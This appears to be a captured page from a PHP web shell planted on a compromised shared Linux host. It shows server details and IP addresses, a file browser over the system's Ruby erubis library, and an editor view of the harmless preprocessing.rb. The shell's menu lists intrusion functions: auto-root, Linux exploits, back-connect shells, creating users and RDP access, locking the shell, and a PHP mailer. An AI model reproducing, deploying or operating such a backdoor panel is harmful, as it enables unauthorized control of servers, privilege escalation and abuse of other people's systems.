Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
erubis /
[ HOME SHELL ]
Name
Size
Permission
Action
engine
[ DIR ]
drwxr-xr-x
helpers
[ DIR ]
drwxr-xr-x
context.rb
1.6
KB
-rw-r--r--
converter.rb
10.54
KB
-rw-r--r--
engine.rb
2.93
KB
-rw-r--r--
enhancer.rb
15.56
KB
-rw-r--r--
error.rb
297
B
-rw-r--r--
evaluator.rb
2.16
KB
-rw-r--r--
generator.rb
1.72
KB
-rw-r--r--
helper.rb
848
B
-rw-r--r--
local-setting.rb
176
B
-rw-r--r--
main.rb
15.76
KB
-rw-r--r--
preprocessing.rb
992
B
-rw-r--r--
tiny.rb
4.03
KB
-rw-r--r--
util.rb
542
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : preprocessing.rb
### ### $Release: 2.7.0 $ ### copyright(c) 2006-2011 kuwata-lab.com all rights reserved. ### require 'cgi' module Erubis ## ## for preprocessing ## class PreprocessingEruby < Erubis::Eruby def initialize(input, params={}) params = params.dup params[:pattern] ||= '\[% %\]' # use '[%= %]' instead of '<%= %>' #params[:escape] = true # transport '[%= %]' and '[%== %]' super end def add_expr_escaped(src, code) add_expr_literal(src, "_decode((#{code}))") end end ## ## helper methods for preprocessing ## module PreprocessingHelper module_function def _p(arg) return "<%=#{arg}%>" end def _P(arg) return "<%=h(#{arg})%>" end alias _? _p def _decode(arg) arg = arg.to_s arg.gsub!(/%3C%25(?:=|%3D)(.*?)%25%3E/) { "<%=#{CGI.unescape($1)}%>" } arg.gsub!(/<%=(.*?)%>/) { "<%=#{CGI.unescapeHTML($1)}%>" } return arg end end end
Close